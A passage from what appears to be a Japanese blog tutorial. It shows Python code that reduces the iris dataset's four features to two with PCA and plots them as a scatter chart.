 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
"""

X_reduced = PCA(n_components=2).fit_transform(iris.data)

print X_reduced.shape
# (150, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target)
# <matplotlib.collections.PathCollection at 0x7f5d087be4d0>

f:id:inaz2:20170123203948p:plain

上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。